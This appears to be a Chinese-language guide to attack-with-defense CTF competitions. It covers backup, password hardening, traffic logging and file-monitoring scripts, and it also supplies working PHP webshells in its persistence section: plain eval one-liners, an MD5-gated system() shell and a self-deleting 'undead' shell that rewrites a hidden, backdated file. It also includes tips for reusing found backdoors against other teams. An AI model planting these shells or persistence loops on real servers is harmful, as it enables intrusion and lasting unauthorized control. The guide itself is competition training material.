赞
踩
经过整理,需要的一些工具和脚本和自己的字典(方便到时候直接复制粘贴,提高效率)
- D盾
- WireShark
- burpsuite(搭配其中的工具Reissue Request Scripter,可以根据你抓到的请求包直接生成请求脚本)
- nmap或者httpscan
- 服务器管理软件,比如XFTP
- 流量监控waf
- 加密shell(MD5,RSA等等,都可)
源码备份可以用前面所说的工具
Winscp
或者FileZilla
,但是每个主办方服务器不同,你要把他拉到本机可能会速度比较慢。速度快的方法就是直接用
tar
打包,放在自己的home
目录下(这里队友@CjM00n提到一点,最好不要放在tmp
目录下,因为这个目录没有权限配置,同理我们要是拿到了shell,可以到别人tmp
目录下康康,说不定能找到一些好康的),然后再把他传到本机来
tar
备份方法如下:
cd /var/www/html
tar -zcvf ~/html.tar.gz *
还原的话方法如下:
rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html
或者
cd /var/www/html
rm -rf *
tar -zxvf ~/html.tar.gz
有时候数据库里也有flag,所以要将数据库也备份一下,避免删库跑路
首先是找配置文件,翻一翻账号密码
cd /var/www/html
find .|xargs grep "password"
备份:
$ cd /var/lib/mysql #(进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysqldump -u root -p Test > Test.sql # 输入密码即可。
$ mysqldump -u root -p --all-databases > ~/backup.sql # 备份所有数据库
$ mysqldump -u root -p --all-databases -skip-lock-tables > ~/backup.sql # 跳过锁定的数据库表
还原:
$ mysql -u root -p
mysql> create database [database_name]; # 输入要还原的数据库名
mysql> use [database_name]
mysql> source backup.sql; # source后跟备份的文件名Copy
或者
$ cd /var/lib/mysql # (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysql -u root -p Test < Test.sql # 输入密码即可(将要恢复的数据库文件放到服务器的某个目
需要修改的口令包括:ssh弱口令、CMS后台弱口令、数据库root口令
一般来说,数据库的密码是一定要修改的
$ mysql -u root -p
show databases;
use mysql
set password for root@localhost = password('123');
或者
update user set password = PASSWORD('需要更换的密码') where user='root';
update user set password = PASSWORD('1') where user='root';
flush privileges;
show tables; # 看看有没有flag
首先登陆SSH,然后:
passwd [user]
限制ssh登陆,进行访问控制
禁止从xx.xx.xx.xx远程登陆到本机iptables -t filter -A INPUT -s xx.xx.xx.xx -p tcp --dport 22 -j DROP#允许xx.xx.xx.xx网段远程登陆访问sshiptables -A INPUT -s xx.xx.xx.1/24 -p tcp --dport 22 -j ACCEPT
kill -9 $(netstat -nlp | grep :8080 | awk '{print $7}' | awk -F"/" '{ print $1 }')
kill -9 $(netstat -anopt | grep -v "sshd\|httpd\|mysqld" | awk '{print $7}' | awk -F"/" '{ print $1 }')
改完密码之后第一件事,就是上流量监控的脚本。
这个真的很重要很重要!因为当你自己找不到漏洞的时候,一个好的流量监控脚本可以帮助你找到漏洞(抄作业
然后你可以通过这些流量把洞补了,再拿它来打别人,如果遇到垃圾流量又是另一回事了。
<?php $ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip $filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名 $parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数 $method = $_SERVER['REQUEST_METHOD']; //请求方法 $uri = $_SERVER['REQUEST_URI']; //请求URI $time = date('Y-m-d H:i:s',time()); //访问时间 $post = file_get_contents("php://input",'r'); //接收POST数据 $others = '...其他你想得到的信息...'; $logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n"; // log记录 $fh = fopen("/tmp/log.txt", "a+"); fwrite($fh, $logadd); fwrite($fh, print_r($_COOKIE, true)."\r\n"); fwrite($fh, $post."\r\n"); fwrite($fh, $others."\r\n"); fclose($fh); ?>
这种脚本一般放置在CMS的入口文件处,下面列出几个常见CMS的入口地址,在这些入口的文件里使用
require_once()
就可以将监控脚本包含进去,达到流量监控的目的:
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
sudo find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/var\/www\/html\/waf2.php');\n/g"
#意思就是查找需要加waf的目录下所有php文件,在头部添加一句,用require_once函数引入/tmp/waf.php文件。因为sed命令利用 / 区分文件中的原字符串和修改的字符串,所以我们要对 / 进行转义。类似于在单引号中再次使用单引号时我们也要用反斜杠转义。
文件监控也是一个比较imba的脚本了,就是将任何没有免死金牌的上传文件全部拦截,上传一个我就自动给你删掉,或者将其中的文件内容直接全部修改掉,这种脚本说实话也是比较危险,看实际情况判断一下吧,下面就是一个文件监控脚本:
# -*- coding: utf-8 -*- #use: python file_check.py ./ import os import hashlib import shutil import ntpath import time CWD = os.getcwd() FILE_MD5_DICT = {} # 文件MD5字典 ORIGIN_FILE_LIST = [] # 特殊文件路径字符串 Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' Special_string = 'diaossama' # 免死金牌 UNICODE_ENCODING = "utf-8" INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" # 文件路径字典 spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) Special_path = { 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)), } def isListLike(value): return isinstance(value, (list, tuple, set)) # 获取Unicode编码 def getUnicode(value, encoding=None, noneToNull=False): if noneToNull and value is None: return NULL if isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): return value elif isinstance(value, basestring): while True: try: return unicode(value, encoding or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: return unicode(value) except UnicodeDecodeError: return unicode(str(value), errors="ignore") # 目录创建 def mkdir_p(path): import errno try: os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): pass else: raise # 获取当前所有文件路径 def getfilelist(cwd): filelist = [] for root,subdirs, files in os.walk(cwd): for filepath in files: originalfile = os.path.join(root, filepath) if Special_path_str not in originalfile: filelist.append(originalfile) return filelist # 计算机文件MD5值 def calcMD5(filepath): try: with open(filepath,'rb') as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() return hash except Exception, e: print u'[!] getmd5_error : ' + getUnicode(filepath) print getUnicode(e) try: ORIGIN_FILE_LIST.remove(filepath) FILE_MD5_DICT.pop(filepath, None) except KeyError, e: pass # 获取所有文件MD5 def getfilemd5dict(filelist = []): filemd5dict = {} for ori_file in filelist: if Special_path_str not in ori_file: md5 = calcMD5(os.path.realpath(ori_file)) if md5: filemd5dict[ori_file] = md5 return filemd5dict # 备份所有文件 def backup_file(filelist=[]): # if len(os.listdir(Special_path['bak'])) == 0: for filepath in filelist: if Special_path_str not in filepath: shutil.copy2(filepath, Special_path['bak']) if __name__ == '__main__': print u'---------start------------' for value in Special_path: mkdir_p(Special_path[value]) # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件 ORIGIN_FILE_LIST = getfilelist(CWD) FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG print u'[*] pre work end!' while True: file_list = getfilelist(CWD) # 移除新上传文件 diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) if len(diff_file_list) != 0: # import pdb;pdb.set_trace() for filepath in diff_file_list: try: f = open(filepath, 'r').read() except Exception, e: break if Special_string not in f: try: print u'[*] webshell find : ' + getUnicode(filepath) shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt')) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath) try: f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n') f.close() except Exception as e: print u'[-] log error : file move error: ' + getUnicode(e) # 防止任意文件被修改,还原被修改文件 md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) for filekey in md5_dict: if md5_dict[filekey] != FILE_MD5_DICT[filekey]: try: f = open(filekey, 'r').read() except Exception, e: break if Special_string not in f: try: print u'[*] file had be change : ' + getUnicode(filekey) shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt')) shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey) try: f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n') f.close() except Exception as e: print u'[-] log error : done_diff: ' + getUnicode(filekey) pass time.sleep(2) # print '[*] ' + getUnicode(time.ctime())
一般来说,在每一台服务器上可能已经预留了一个或多个后门,这时候我们就可以把一开始备份的源码传输到本地,拖进D盾里扫一扫,发现后门的话可以先把自己的后门处理掉,然后利用这个后门看看能不能去打一下别人,传个马之类的
说道权限维持,那肯定是一句话木马,不死马,反弹shell等一系列操作了,发现漏洞之后传个马,才有利于后面更好的得分
一句话木马那方法就很多了,比如最简单的:
<?php eval(REQUEST['diaossama']); ?> //php
<%eval request("xx")%> //aspCopy
但是这种一句话木马很容易被人利用,你想想你把别人服务器弄了,结果别人一看你的shell密码转头就用你的shell去弄别人,那不是被人白嫖。所以就有了其他的马,比如MD5马和RSA马,下面就是一个MD5马的例子(还可以加header双重验证)
<?php if (md5($_POST["pass"]) == "78842815248300fa6ae79f7776a5080a"){ @ system($_POST[cmd]);}?>
//pass:jonathan
有了MD5马还不够,我们还得让我们的马可以一直留存在别人的服务器上,所以就有了不死马。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.conf.php';
$code = '<?php if(md5($_POST["pass"])=="78842815248300fa6ae79f7776a5080a"){@system($_POST[cmd]);}?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2018-12-01 09:10:12" .conf.php');
usleep(5000);
}
pass:jonathan
知道了怎么写不死马,那就得知道怎么杀不死马
<?php
while (1) {
$pid=1234;
@unlink('.demo.php');
exec('kill -9 $pid');
}
?>
先用
ps
命令查看进程的pid,再修改一下上面的脚本执行即可或者我们也可以用
ps aux
命令来查看每个用户执行的命令和运行的进程一般是写一个脚本不断生成那个不死马的同名文件,使那个不死马无法在该目录下创建文件,然后再找到那个不断创建不死马的进程将其杀死。
比赛中如果抓不到有用的流量,日志分析也是很有用的,分析服务器的访问日志也可以发现一些信息,下面罗列了一些服务器的日志路径
apache: /var/log/apache2/access.log
nginx: /var/log/nginx/
日志除了自己分析之外也可以借用一些审计工具,比如LogForensics
所谓最重要的事情就是团队合作的问题
分工明确 是重中之重 每个人分配好每个人的工作 密码更改成什么 都是双方约定好的 备份的文件存放位置也是固定好的
这样就会很有条理 什么做了 什么没做 心里都有数
一个人的事情做好了 就去做可以共同做的事情比如代码审计 把可以利用的点 截图放到一个文档里面 以免忘记 在可以攻击的时候利用这些已知的点进行攻击
一位同学负责攻 一位同学负责辅助攻击的同时继续加固服务器。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。